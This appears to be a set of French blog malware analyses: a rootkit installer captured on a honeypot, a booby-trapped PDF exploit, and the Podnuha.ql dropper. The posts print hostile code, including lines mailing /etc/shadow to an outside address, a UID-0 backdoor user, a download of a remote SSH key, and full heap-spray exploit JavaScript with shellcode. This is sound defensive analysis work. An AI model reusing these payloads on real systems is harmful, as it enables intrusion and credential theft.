echo "${DCYN}[${WHI}sh${DCYN}]# [System Information...]${RES}"
MYIPADDR=`/sbin/ifconfig eth0 | grep "inet addr:" | awk -F ' ' ' {print $2} ' | cut -c6-`
echo "${DCYN}[${WHI}sh${DCYN}]# Hostname :${WHI} `hostname -f` ($MYIPADDR)${RES}"
[coupé]

if [ -f /etc/redhat-release ]; then
  echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/redhat-release`${RES}"
elif [ -f /etc/slackware-version ]; then
  echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/slackware-version`${RES}"
elif [ -f /etc/debian_version ]; then
  echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/debian_version`${RES}"
elif [ -f /etc/SuSE-release ]; then
  echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/SuSE-release`${RES}"
elif [ -f /etc/issue ]; then
  echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/issue`${RES}"
else echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} unknown${RES}"
fi
Le setup affiche des informations concernant le système (il devrait peut-être commencer par ça).
rm -rf /tmp/info_tmp
cat /etc/shadow >> /tmp/.cln
/sbin/ifconfig >> /tmp/.cln
cat /etc/issue >> /tmp/.cln
cat /tmp/.cln | mail $md5sum -s "$1:$2:`hostname -f`:$MYIPADDR"
cat /tmp/.cln | mail -s "rk" norocos@canadianbiotech.com
rm -rf /tmp/.cln
Je ne suis pas sûr que le pirate ayant utilisé le rootkit ait fait attention à ça. Peut-être il est partageur ou alors c'est son adresse email (hébergée chez emaileveryone).
endtime=`date +%S`
total=`expr $endtime - $startime`

echo ""
echo "${WHI}--------------------------------------------------------------------${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# ipchains ... ? ${RES}"

if [ -f /sbin/ipchains ]; then
  echo "${WHI}`/sbin/ipchains -L input | head -5`${RES}"
else
  echo ""
  echo "${DCYN}[${WHI}sh${DCYN}]# lucky for u no ipchains found${RES}"
fi

echo "${WHI}--------------------------------------------------------------------${RES}"

echo "${DCYN}[${WHI}sh${DCYN}]# iptables ...?${RES}"

if [ -f /sbin/iptables ]; then
  echo "${WHI}`/sbin/iptables -L input | head -5`${RES}"
else
  echo ""
  echo "${DCYN}[${WHI}sh${DCYN}]# lucky for u no iptables found${RES}"
fi
echo "${WHI}--------------------------------------------------------------------${RES}"

echo "${DCYN}[${WHI}sh${DCYN}]# Just ignore all errors if any ! "
echo "${DCYN}[${WHI}sh${DCYN}]# ============================== ${RED}Backdooring completed in :$total seconds ${RES}"

if [ -f /usr/sbin/syslogd ]; then
  /usr/sbin/syslogd -m 0
else
  /sbin/syslogd -m 0
fi

if [ -f /usr/sbin/inetd ]; then
  killall -HUP inetd >/dev/null 2>&1
elif [ -f /usr/sbin/xinetd ]; then
  killall -HUP xinetd
fi

cd $BASEDIR
rm -rf ../.rc
sendmail root -p norocos@canadianbiotech.com

cd ..
rm -rf .rc rk.jpg
# EOF
Après avoir installé le rootkit, notre intrus affiche le contenu de /etc/passwd puis tente d'ajouter un utilisateur avec l'uid 0 avec la commande suivante :
/usr/sbin/useradd -u 0 -g 0 -o -d "/home/admin" admin 2>&1
Seulement Kippo est assez limité dans ses fonctionnalités et cette commande n'est pas effective. Le pirate tentera de la lancer une nouvelle fois puis abandonnera.

Il va alors télécharger la clé SSH à l'adresse http://unixcrew.t35.com/authorized_keys et la placer dans /root/.ssh.

Le contenu est le suivant :
ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIBCkXfcxijdvoA3Ee0Ea0yhphOLuvm0+KtEWowekUuokh
2w4H72AKniI37DIuPDtgCHbqNAsUsU33SlZE2wrEo4LQaS3KL1z6egwnuT2PIFP5XV5DUb
7Hck9gloyyUBVr0TVxRwPunuLINEUTi/2LAca1IdOeGfN+g7qlDScHLrXw== TheDemon
Pour terminer il télécharge le fichier http://unixcrew.t35.com/poza1.jpg qui est en réalité une archive et la décompresse.
Cela provoque la génération d'un dossier nommé webmail dans lequel il se place et tape la commande "make" alors qu'aucun Makefile n'est présent dans le dossier.
Dans ce dossier on trouve un bot IRC EnergyMech classique configuré pour le pseudo TheDemon sur UnderNet.
Il se déconnectera et ne se reconnectera pas...

Conclusion

On a affaire à un pirate un peu au dessus du niveau pathétique de ceux que l'on a l'habitude d'observer sur ce type de honeypot. Il cherche à couvrir ses traces avec un rootkit et connait la commande useradd. Il se débrouille sous Linux en ligne de commande.
En revanche il fait un piètre hacker : il installe un rootkit, pas tout récent, pour cacher ses traces mais au lieu de se servir des fonctionnalités du logiciel, il créé un nouvel utilisateur sur le système avec UID 0 et créé un dossier non-caché nommé webmail dans le dossier /root. Le mot webmail ne faisant pas parti des dossiers pris en compte par le rootkit.
Il installe aussi un bot EnergyMech alors que le rootkit inclus une backdoor destinée à être invisible... Bref il utilise des outils dont il ignore le fonctionnement et qui ont probablement laissé un accès à l'auteur original du rootkit, par exemple à l'aide du script nommé simplement a lancé discrètement qui créé un utilisateur et envoi un mail à l'adresse que l'on a croisé plusieurs fois...

Owned : Analyse d'un fichier PDF piégé

Rédigé par devloop - -

L'intrusion et son nettoyage

Récemment j'ai été victime d'une intrusion. Ça s'est passé de la façon la plus inattendue pourtant la méthodologie d'attaque est plus que banale.

Comme tous les matins je relevais depuis Netvibes des nouveaux flux en rapport avec Linux. J'ai suivi un lien qui m'a amené vers un site que j'avais déjà visité à plusieurs reprises par le passé mais cette fois quelque chose d'anormal s'est passé : le lecteur PDF s'est ouvert sur un fichier PDF vide et en moins d'une minute je me retrouvais avec un scareware sur la machine. Malgré l'interface du logiciel très agréable dans les tons bleu pastel, inutile de vous dire que ce dernier n'était pas le bienvenue.

Premier réflexe : lancer le gestionnaire de taches, repérer le processus suspicieux (pas compliqué, il se nommait kij.exe) et le terminer. Évidemment ça ne suffit pas, ce genre de logiciel est collant.
Heureusement je disposais de quelques outils sur la machine : un HijackThis et un ProcessExplorer.

ProcessExplorer

Depuis ProcessExplorer je parviens à en savoir plus sur mon ennemi : il s'est placé dans mon dossier "Local Settings\Application data" et d'après netstat a établi des connexions avec un serveur distant.
Je le termine à nouveau et il réapparait un peu plus tard. Mon premier réflexe est de me dire qu'il a du réussir à s'injecter dans un processus comme explorer. Je tue kij.exe ainsi que explorer.exe.
Suspense... ça ne reprend pas.
Je relance explorer.exe : il réapparait ! De plus je remarque un lien entre les deux processus. De mémoire explorer.exe était fils de kij.exe.

J'ai d'abord pensé à la clé de registre Shell qui permet d'utiliser une interface graphique alternative à celle de Windows (pour utiliser par exemple un BB4Win ou un LiteStep) mais cette clé n'était pas en cause.

Clé dans le registre Windows

Finalement, en effectuant une recherche dans la base de registre, j'ai trouvé le point de lancement dans l'arborescence Software\Classes qui associe le lancement d'un exécutable à une extension donnée.

Notre malware se lançait à chaque lancement d'un .exe, ce qui explique sa réapparition après avoir tué puis relancé explorer.
Fort de cette information, j'ai pu me débarrasser de l'intrus. Malheureusement je n'ai pas pu récupérer l'exécutable qui a dû se supprimer lui-même. J'ai tout de même conservé le PDF malicieux pour analyse.

Les causes de l'incident (et comment on aurait pu l'éviter)

Autant vous le dire tout de suite : je n'étais pas sur mon PC personnel mais sur le PC du travail. L'intrusion n'aurait jamais aboutie sur mon système Linux pour tout un tas de raisons.
Il y a plusieurs causes et responsables à cette intrusion.

Tout d'abord le propriétaire du site dédié à Linux qui servait bien malgré lui le PDF piégé. J'ai eu beau fouiller mon cache Opera pour retrouver le site en question, je n'ai pas retrouvé son adresse. Il est évident que si le site était sécurisé contre des attaques connues comme les XSS et les injections SQL, jamais il n'aurait servi de support à cette attaque.
Ensuite il y a le lecteur PDF (un vieux Foxit Reader) qui n'est pas à jour sur la machine. J'en étais conscient et j'avais d'ailleurs installé un Sumatra PDF mais, n'étant pas administrateur du poste, l'association de l'extension .pdf avec Sumatra n'était pas conservée, j'étais obligé d'appeler directement SumatraPDF à chaque fois que je voulais lire un PDF.
Ensuite il y a le problème de l'antivirus : pas d'antivirus ! Je pensais qu'un Kaspersky était présent sur la machine mais en regardant la liste des processus, force est de constater que non.
Pour ces deux défaillances, c'est bien le laxisme (ou la méconnaissance) en matière de sécurité des administrateurs système qui est l'origine du problème.

Ce serait arrivé sur ma machine Windows personnelle, ça ne serait pas arrivé pour différentes raisons.

D'abord mon intérêt pour la sécurité informatique. Je me tiens au courant des dernières vulnérabilités et exploits qui existent, surtout pour des logiciels communs comme un lecteur de fichiers PDF.
Ça me pousse à installer systématiquement les dernières versions logiciels. Avec le récent Reader X d'Acrobat qui ajoute une fonction de sandbox il est à fort parier que l'exploit n'aurait pas fonctionné.
Ensuite l'antivirus Avast est installé et à jour. Il met lui aussi par défaut certaines applications dans une sandbox et aurait pu détecter le caractère malicieux du PDF avec sa base de signatures.
Imaginons que le PDF exploite une vulnérabilité 0day et soit inconnu des antivirus... il faut encore que l'exécutable droppé passe à travers la vigilance de l'HIPS ThreatFire...

Ces solutions pourtant simples à mettre en place (avec des logiciels gratuits qui plus est !) auraient permis d'éviter cet incident.

Analyse du fichier PDF

Le fichier PDF récupéré se nommait manual.pdf et se résumait à première vue à une page blanche. Quand on le passe à AVG sous Linux, il est détecté comme Exploit.PDF-JS. ClamAV lui ne détecte aucun danger (je commence à avoir l'habitude).

J'ai décidé de pousser l'analyse en me servant d'un tout nouvel outil Python qui se nommé peepdf qui s'utilise interactivement et est très simple d'utilisation.

Au lancement on a le résumé suivant :
File: malware_manual.pdf
MD5: 5ec11e1a1e7076457baf0baa35b9f816
Size: 29948 bytes
Version: 1.6
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 19
Streams: 9
Comments: 0
Errors: 1

Version 0:
        Catalog: 23
        Info: 22
        Objects (19): [1, 5, 6, 7, 8, 9, 10, 11, 12, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23]
        Streams (9): [8, 9, 10, 11, 12, 14, 15, 16, 17]
                Encoded (0): []
        Objects with JS code (1): [11]
        Suspicious elements:
                /AcroForm: [23]
                /EmbeddedFile: [8, 9, 10, 11, 12, 14, 15, 16, 17]
La commande metadata renvoie des informations qui semblent aléatoires :
Info Object in version 0:

<< /CreationDate D:20100829161936
/Author SegosqYvyxoigm PazubIhizo
/Subject KcuhukecyiWodna NixxohyjanucohiDuqe
/Creator NeducuVpel JlAfonypad
/Title GipYok CuvaaBikoimulyw >>
Les objets qui nous intéressent dans ce PDF sont les Streams indexés 8, 9, 10, 11, 12, 14, 15, 16 et 17.
Pour les afficher il suffit d'utiliser la commande "stream" suivi de l'index de l'objet souhaité.

Seul quelques streams s'avèrent intéressants (dans l'ordre) pour notre analyse.

Le stream 14 qui définie une variable baptisée RivoLwotab dans un format XML :
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/"><xfa:data><XuwaHsaqyp><RivoLwotab>eval2011tring.fromCharCode</RivoLwotab></XuwaHsaqyp></xfa:data></xfa:datasets>
Le stream 10 qui définie quelques variables Javascript :
<subform layout="tb" locale="en_US" name="XuwaHsaqyp">
  <pageSet>
    <pageArea id="BuvAcid" name="BuvAcid">
      <contentArea h="756pt" w="576pt" x="0.25in" y="0.25in"/>
      <medium long="792pt" short="612pt" stock="default"/>
    </pageArea>
  </pageSet>
  <subform h="756pt" w="576pt" name="NacazaLvonocowjap">
  <field h="65mm" name="RivoLwotab" w="85mm" x="53.6501mm" y="88.6499mm">
    <event activity="initialize" name="DygoRacepasicalukuh">
      <script contentType="application/x-javascript">
        Tokabjepivilipytuc='rawV';DyqUrarybynogun='S';
        RukIzy=2011;PofucevyWimbes='replace';KfIpyrsite='substr';
et enfin, le plus important, le stream 11 (raccourci pour des raisons de lisibilité) qui est du code Javascript brut :
JuholAlypivykunytytd = RivoLwotab[Tokabjepivilipytuc+'alue'][PofucevyWimbes](RukIzy,DyqUrarybynogun);
VekeoFewy=JuholAlypivykunytytd[KfIpyrsite](0,4);
eval('GovbEvynoj=this.'+VekeoFewy);
DadEjybuf=GovbEvynoj(JuholAlypivykunytytd.substr(4,19));
SitoGexo=DadEjybuf(4*29.5,4*24.25,4*28.5,4*8,4*23.75,4*17.75,4*17,...,4*22.25,4*20.75,4*10,4*10.25,4*14.75);
GovbEvynoj(SitoGexo);
Il suffit de prendre les données des streams 14 et 10 et de faire les remplacements nécessaires dans le stream 11.
On obtient finalement (en plusieurs étapes) :
JuholAlypivykunytytd = RivoLwotab['rawV'+'alue']['replace'](2011,'S');
JuholAlypivykunytytd = "eval2011tring.fromCharCode"['replace'](2011,'S');
JuholAlypivykunytytd = "evalString.fromCharCode";

VekeoFewy = JuholAlypivykunytytd['substr'](0,4);
VekeoFewy = "evalString.fromCharCode"['substr'](0,4);
VekeoFewy = "eval";

eval('GovbEvynoj=this.'+VekeoFewy);
GovbEvynoj = this.eval

DadEjybuf=GovbEvynoj(JuholAlypivykunytytd.substr(4,19));
DadEjybuf = this.eval("evalString.fromCharCode".substr(4,19));
DadEjybuf = String.fromCharCode;
Les deux dernières lignes du stream 11 correspondant par conséquent à un décodage d'un buffer par String.fromCharCode() puis son exécution par this.eval().

Afin d'analyser le buffer encodé sous la forme d'une liste de multiplications entre un entier et un nombre à virgule, je l'ai isolé dans un fichier texte et j'ai créé le script Python suivant pour le décoder :
import sys
fd = open("arg.txt")
buff = fd.read()
fd.close()

for ope in buff.split(","):
  x, y = ope.split("*")
  sys.stdout.write( chr( int( int(x) * float(y) ) ) )
Ce qui nous donne le résultat suivant :
var _GD = "7414543e6471e52c5e1356366b50e27390deb27d0416e62e5f16b779717779701e343431616665666233363964336239210cb27d5016046b313d37337177797079757570f1f6f5f689258f71653362b20711bbc0b4088d10379503a09ad4c2f2d0d1cbce9e1cfaf4f1a0fb2b1bfcf0aaa02f4629e8b57a98f69b7ff7f2f6f8f1f8f4f4f1a7a6a59df5a1a5aaa2f6a2c2cfc8a1a4cfd0859bcffecc2eedab474ae3a7a7a2a21d8af5f1a05a7a7464f9c2ef49eea1f74d9bf7a2aa5b702665deb5c1f3fe51589d840b42b64db7f7a0f1fa48f7a1a4a75a27a4c854cc29cca4164aa3a7a7a2a21dcaf5f1a05a7a979131ce2bf6912ff5a97ca5b621d6881abdaba2ab9658933259ca948da2898a366ffcab6744512558fe4bbdc821e6b028b7de7b22e383be9336967e9d848121b29c7afea5dea04e2cefef7cf88aa54b4091e2299f2ca64cc30ac7350d0c216a83a73065ada7664f539e8bd38adf452bf981aa49cd2cabe979afeaf41a2ba121f64878ee84bac066afa51f185c555bc8d7d1db988488c6cc938c97919ed2c48494dadfc9c389ced1d38b879fd295c59df2f4c0e7eeccc4e8b0b4cbc8d7d0989ff7";
var _ZZ = "7414543ec405e52c5e135636f212e273a32ab27d04a6e02e4c47b779717779701e34343161666566623336396433623942bdb27d5016046b313d37337177797079757570f1f6f5f689258f71653362b20711bbc0b4088d10379503ab9ad4c2f2d0d1cbce9e17f1fffaabf02010f7fba1ab244d22e3be7193fd9074fcf9fdf3faf3fffffaacadae96feaaaea1a9fda9c9c4c3aaafc4db8e90c4f5c725e6a04c41e8acaca9a91681fefaab51717f6ff2c9e442e5aafc4690fca9a1507b2d6ed5becaf8f55a53968f0049bd46bcfcabfaf143fcaaafac512cafc35fc722c7af1d41a8acaca9a916c1fefaab51719c9a3ac520fd9a24fea277aebd2add8311b6a0a9a09d53983952c19f86a982813d64f7a06c4f5a2e53f540b6c32aedbb23bcd57029e888b5983d9d75968f8a2ab99771f5aed5ab4527e4e477f381ae404b9ae9229427ad47c801cc3e06072a6188ac3b6ea6ac6d44589580d881d44e20f28aa142c627a0e272a4e1ff1120aa2afd4373e58fb1cb6da4ae1413575e50c3dcdad0938f83cdc798879c9a95d9cf8f9fd1d4c2c882c5dad8808c94d99ece96f9ffcbece5c7cfe3bbbfc0c3dcdb9394fc";
var _IB = "8441afefb369d3b9352746dd19730681";

_II = app;
_R = new Array();
function _QJ() {
    var _H = _II.viewerVersion.toString();
    _H = _H.replace('.', '');
    while (_H.length < 4) {
        _H += '0';
    }
    return parseInt(_H, 10);
}
function _F(_I, _M) {
    while (_I.length * 2 < _M) {
        _I += _I;
    }
    return _I.substring(0, _M / 2);
}
function _FA(_MM) {
    _MM = unescape(_MM);
    roteDak = _MM.length * 2;
    dakRote = unescape('%u9090');
    spray = _F(dakRote, 0x2000 - roteDak);
    loxWhee = _MM + spray;
    loxWhee = _F(loxWhee, 524098);
    for (i = 0; i < 400; i++) {
        _R[i] = loxWhee.substr(0, loxWhee.length - 1) + dakRote;
    }
}
function _SR(_MM, len) {
    while (_MM.length < len) {
        _MM += _MM;
    }
    return _MM.substring(0, len);
}
function _U(_MM) {
    ret = '';
    for (i = 0; i < _MM.length; i += 2) {
        b = _MM.substr(i, 2);
        c = parseInt(b, 16);
        ret += String.fromCharCode(c);
    }
    return ret;
}
function decode(_MM, _N) {
    _UE = '';
    for (_C = 0; _C < _MM.length; _C++) {
        _M = _N.length;
        _HE = _MM.charCodeAt(_C);
        _RQ = _N.charCodeAt(_C % _M);
        _UE += String.fromCharCode(_HE ^ _RQ);
    }
    return _UE;
}
function _VX(_C) {
    _FD = _C.toString(16);
    _NJ = _FD.length;
    _UE = (_NJ % 2) ? '0' + _FD : _FD;
    return _UE;
}
function _LX(_MM) {
    _UE = '';
    for (_C = 0; _C < _MM.length; _C += 2) {
        _UE += '%u';
        _UE += _VX(_MM.charCodeAt(_C + 1));
        _UE += _VX(_MM.charCodeAt(_C));
    }
    return _UE;
}
function _YS() {
    _EO = _QJ();
    if (_EO < 9000) {
        _RS = 'o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';
        _XI = _GD;
        _CP = _U(_XI);
    } else {
        _RS = 'kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';
        _XI = _ZZ;
        _CP = _U(_XI);
    }
    _A = 'SUkqADggAABB';
    _MF = _SR('QUFB', 10984);
    _J = 'QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';
    _L = _A + _MF + _J + _RS;
    _D = decode(_CP, _IB);
    if (_D.length % 2) {
        _D += unescape('%00');
    }
    _X = _LX(_D);
    _FA(_X);
    RivoLwotab.rawValue = _L;
}
_YS();
Ce script défini quelques chaines de caractères (bien entendu offusquée) et différentes fonctions qui sont finalement appelés à travers une fonction centrale (_YS).

La fonction _QJ() utilise l'objet "app" de l'application et son attribut viewerVersion pour déterminer le numéro de version du lecteur PDF. A ce numéro de version est retiré le caractère point et remplis par des 0 pour obtenir 4 caractères. Ainsi si on dispose de Adobe Reader 9.1, la fonction retournera la valeur 9100.

Je ne sais pas quel numéro de version renvoie le Foxit par Javascript mais celui installé sur le poste était un 3.1.1.0901. Selon la version obtenue, le javascript fait le choix entre deux couples de chaines de caractères qui seront utilisées plus tard.

Un premier décodage est effectue par la fonction _U() sur les chaines _GD ou _ZZ. La fonction _U() n'est rien de plus que l'équivalent de la méthode str.decode("hex_codec") en Python, c'est à dire partir d'une représentation hexadécimale pour obtenir une version brut d'une chaine.

On a ensuite l'instruction _SR('QUFB', 10984). La fonction _SR() permet de répéter la chaine de caractères en premier argument autant de fois que nécessaire pour obtenir une chaine de la longueur spécifiée dans le second argument.
"QUFB" correspond en réalité à la chaine "AAA" encodée en base64.
L'objectif de cette multiplication et vraisemblablement d'utiliser un heap-spraying pour augmenter les chances d'exploitation.

La fonction decode() est la plus intéressante. Comme son nom l'indique, elle prend en entrée des chaines de caractères incompréhensibles pour les transformer en une charge utile.
C'est en réalité le cœur du shellcode qu'il convient d'analyser.

En Python il est assez facile de la réécrire pour extraire le shellcode :
GD = "7414543e6471e52c5e....b4cbc8d7d0989ff7"
ZZ = "7414543ec405e52c5e....bfc0c3dcdb9394fc"
IB = "8441afefb369d3b9352746dd19730681"
def decode(MM, N):
    UE = ""
    for i in range(len(MM)):
        HE = ord( MM[i] )
        RQ = ord( N[i % len(N)] )
        UE += chr( HE ^ RQ)
    return UE

shellcode = decode(GD.decode("hex_codec"), IB)
La fonction _LX() transforme cette charge brute en une version comprise par le langage Javascript : une représentation d'une chaine unicode où chaque octet est transformé sous la forme %uXXXX.

La fonction _FA() complète le coeur du shellcode pour ajouter un NOP slide.
La dernière instruction de la fonction _YS() intègre ces données malicieuses dans la balise RivoLwotab vue dans le stream 14, ce qui déclenche la vulnérabilité et son exploitation.

Analyse du shellcode

Comme on peut s'y attendre, le shellcode est crypté : aucune chaine de caractère n'est présente à l'intérieur.
Une analyse par HT Editor en mode assembleur révèle par contre quelques instructions intéressantes :

Instruction de décryptage du shellcode

La boucle lodsb/xor/stosb à l'offset 59 met en évidence l'utilisation d'un cryptage XOR avec la valeur 0x93.
Le shellcode décodé est plus parlant. On trouve à la fin une URL permettant vraisemblablement de récupérer un exécutable.

Decoded shellcode hexa dump

On y voit aussi la mise en place de la chaine "urlmon" sur la pile (offsets 8f et 94) et la valeur hexadécimale ec0e4e8e qui sert de hash pour retrouver la fonction LoadLibrary(). Voir ce document PDF pour ce type de technique.

Shellcode ASM download et execute
Les fonctions ensuite appelées, retrouvées par leur hash, sont URLDownloadToCacheFile, CreateProcessA et TerminateThread.
Par une recherche sur Google, j'ai trouvé un article de Symantec traitant d'une exploitation quasi-similaire.

La vulnérabilité exploitée se situerait alors dans la LibTIFF utilisée par différents lecteurs PDFs, même si je ne saurais le prouver.
Concernant l'exécutable qui doit être téléchargé par le shellcode, il n'était malheureusement plus disponible au moment de mon analyse.

Classé dans : Non classé - Mots clés : malware

Analyse du malware Podnuha.ql : quatrième partie

Rédigé par devloop - -

Suite (et fin) des épisode précédents...
Alors que le malware a récupéré des adresses de fonctions Windows dont il vient de décoder les noms, il entre dans une courte fonction que j'ai baptisé "time_and_beep" qui :
  • Prend une référence de temps avec GetTickCount
  • Attend 51 secondes en utilisant les fonctions d'événements comme on a pu déjà le voir
  • Prend une seconde référence de temps
  • Fait la soustraction de ces deux références

Si le résultat vaut 0 (ce qui est impossible à moins par exemple de hooker GetTickCount), le malware emet un Beep (quasi inaudible car d'une fréquence de 10 hertz sur 10 millisecondes) puis quitte.
Dans le cas contraire il rappelle GetTickCount, effectue des opérations dessus et stocke le résultat dans magic_int :

402151 ! GetTickCount_magic:             ;xref c4023d5
...... !   push        ebp
402152 !   mov         ebp, esp
402154 !   call        dword ptr [GetTickCount]
40215a !   and         eax, 17fffh
40215f !   shr         eax, 1
402161 !   add         eax, 523h
402166 !   mov         [magic_int], eax
40216b !   mov         eax, [magic_int]
402170 !   and         eax, 0ffffh
402175 !   mov         [magic_int], eax
40217a !   pop         ebp
40217b !   ret


Le rôle de cette fonction peut sembler étrange au premier coup d'oeil : on récupère un timestamp et on lui applique un masque le réduisant à une valeur de l'ordre de la minute (entre 1 et deux minutes).
En réalité, cette fonction agit comme un générateur de nombres pseudo-aléatoire (pour l'utilisation que l'auteur du malware en a, ça suffit amplement)

Il entre ensuite dans une fonction qui itére sur les noms de processus avec CreateToolhelp32Snapshot / Process32First / Process32Next. Il les passe en minuscule et les compare à "teatimer.exe". Si un exécutable de ce nom est en cours d'exécution il le termine avec la fonction Windows TerminateProcess.
Si on prend la calculatrice windows (calc.exe) et si on l'exécute après l'avoir renommée en teatimer.exe, on la voit effectivement se fermer lors de l'exécution du malware.

Décodage

On entre alors dans le vrai du malware avec la fonction que j'ai baptisé "decrypt_dll_and_load_it" qui effectue les opérations suivantes :
  • réserve de l'espace pour des chaines de caractères
  • appelle une autre fonction que j'ai nommé "decrypt_dll_file_content"
  • récupère le répertoire système de Windows avec GetSystemDirectoryA
  • décode les chaines de caractères "\???*.dll" et ".dll" selon la routine vue dans un précédent article
  • appelle une fonction "trouve_un_nom_de_fichier_dll"
  • détruit le fichier obtenu avec cette fonction avec DeleteFileA
  • lance une fonction "cree_un_fichier"
  • charge un fichier dll avec LoadLibraryA

Vous avez déjà une vision globale de l'objectif du malware. Etudions plus en détails le fonctionnement des fonctions précédemment citées.

decrypt_dll_file_content prend pour argument les même arguments que ceux que decrypt_dll_and_load_it a reçu, soit :
  • 408030h = une très longue chaine de caractères encodée située dans la section .data
  • 15A00h = ce qui s'avère être la longueur de cette mystérieuse chaine
  • 8220h = una variable servant comme vecteur d'initialisation pour déchiffrer la chaine de caractères.

Je n'entrerais pas dans les détails du code assembleur. Pour faire bref, on trouve une boucle qui traite octet par octet la chaine jusqu'à arriver à 15A00h.
L'opération de décodage se fait par un xor avec une variable qui subit différentes opérations mathématiques à chaque passage de la boucle (valeur initiale = 8220h)

J'ai préféré écrire un programme en C (plus simple à comprendre) qui reproduit le décryptage. Il prend comme argument un fichier avec les données codée et un nom de fichier ou écrire la version décodée :

#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int data_42009c, data_420098;

int main(int argc,char *argv[])
{
  unsigned int i, x = 0x8220, len = 0x15a00;
  int fd_in, fd_out;
  char *str;

  if(argc!=3)
  {
    printf("Usage: %s <input_file> <output_file>\n", argv[0]);
    return 1;
  }
  fd_in=open(argv[1],O_RDONLY);
  if(fd_in<0)
  {
    perror("open");
    return 1;
  }

  fd_out = open(argv[2], O_WRONLY|O_TRUNC|O_CREAT,S_IRUSR|S_IWUSR);
  if(fd_out<0)
  {
    perror("open");
    return 1;
  }

  str = (char*)malloc(len+1);
  read(fd_in, str, len);

  data_42009c = 0x1d;
  data_420098 = 0x7d02;
  data_420098 += 0x15;

  for(i=0;i<len;i++)
  {
    x *= data_420098;
    x += data_42009c;
    x = (char)(x & 0x000000ff);
    str[i] = str[i] ^ x;
  }
  write(fd_out, str, len);

  free(str);
  close(fd_out);
  close(fd_in);
  return 0;
}


Il ne reste plus qu'à extraire la chaine de l'exécutable. J'ai d'abord cherché un plugin OllyDgb mais je me suis dit que c'était aussi simple avec dd.
dd if=malware.exe of=plop bs=1 count=88576 skip=32816


Une fois le fichier décrypté, on obtient une dll de 87Ko (md5: 1154378d77d4dd1eb83d40a3a0b6982f) que AVG détecté comme "Trojan horse BackDoor.Generic9.AYAH".
Un petit passage dans HTEditor pour voir les sections et on remarque aussitôt que la dll est compressée avec UPX.
Une fois décompressé, le fichier fait 202Ko (md5: 70e2780a0ecce1ec7755397381bb5606) et est détecté (toujours par AVG) comme "Trojan horse Agent.XMD" (étrange qu'ils ne soient pas connus sous le même nom...)

Recherche d'un nom de fichier

Mais reprenons le cours du programme (car à ce moment de l'exécution le fichier n'a normalement pas encore touché le disque).
Le malware récupère le répertoire système (sous XP, c'est C:\WINDOWS\System32) et le passe comme argument à "trouve_un_nom_de_fichier_dll" avec les chaines de caractères décodées (.dll et \???*.dll) ainsi que différentes zones mémoire (buffer de sortie).

trouve_un_nom_de_fichier_dll effectue une recherche sur les fichiers correspondant au masque "c:\windows\system32\???*.dll".
Il génère aussi deux valeurs d'un octet avec des appels à calcul_sur_magic_int (voir articles précédents) dont la valeur initiale a été préalablement créée par le générateur pseudo-aléatoire.
Il itère ainsi sur tous les noms de fichier dll qu'il trouve dans le répertoire system32 et s'arrête uniquement lorsque le compteur de boucle modulo (reste d'une division) l'une de ces deux valeurs est nul.
Quand la condition est rencontrée, il récupère le début du nom du fichier dll en cours (les caractères avant le premier point) et calcule la longueur de chaine obtenue.

Il recopie cette chaine en mémoire avec lstrcpyn en prenant soin de retirer le dernier caractère puis rajoute finalement l'extension .dll.

Pour conclure, si trouve_un_nom_de_fichier_dll s'arrête sur kernel32.dll, le résultat obtenu sera kernel3.dll. Il vérifie tout de même que le fichier n'existe pas (pour ne pas faire de bétises) mais appellera quand même DeleteFileA en sortant de la fonction.

Fonctionnalité de dropper

La fonction suivante, cree_un_fichier, va générer un fichier temporaire avec GetTempPathA / GetTempFileNameA. Le chemin du fichier sera de la forme :
C:\Documents and Settings\<username>\Local Settings\Temp\datXXXX.tmp
Le fichier est mappé en mémoire avec CreateFileMappingA / MapViewOfFile et le contenu du fichier dll décrypté (actuellement en mémoire) est recopiée à l'aide de la fonction de recopie obfusquée vu dans un précédent article.
Le fichier écrit dans le fichier temporaire est finalement déplacé avec MoveFileA dans system32 sous le nom dll qui a été calculé.
Quand on sort de cette fonction pour retourner à decrypt_dll_and_load_it, le fichier dll est chargé en mémoire avec LoadLibraryA.

Il est intéressant de noter que cette fonction contient une portion de code alternative par laquelle on ne passe pas mais dont l'objectif semble être de créer un fichier exe et d'appeller CreateProcess.
Le dropper a donc été créé pour déposer aussi bien des dll que des exécutables bien que la présente version ne contient qu'un fichier dll (il n'y a pas d'autres chaines de grande taille dans la section .data).

Fin de l'exécution

Pour terminer, le malware commande sa propre suppression en appelant MoveFileEx avec le flag MOVEFILE_DELAY_UNTIL_REBOOT. Ainsi Windows supprime lui-même le fichier au redémarrage du système.

Il appelle ensuite une fonction qui retourne invariablement la valeur 5018 (présence de tests qui donneront toujours le même résultat !?) et dormira (encore) ce délais en millisecondes. En cumulant tous ces délais d'attente on se rapprocherait presque d'une minute d'exécution.

Le malware quitte alors, il a atteint son objectif : déposer un fichier dll et le charger pour l'exécuter.
Je n'ai pas encore commencé l'analyse du dll qui doit receler plein de surprises (je ne vous promets rien).

Conclusion

Bien que le malware ne fasse pas grand chose et ne contenait pas de techniques anti-analyse avancées (il n'était pas packé, utilisait peu de junk-code...) il était néanmoins intéressant d'analyser son fonctionnement (contenu dissimulé, réécriture de code pour appeller un code de détection de débogueur, kill de logiciel de sécurité...)

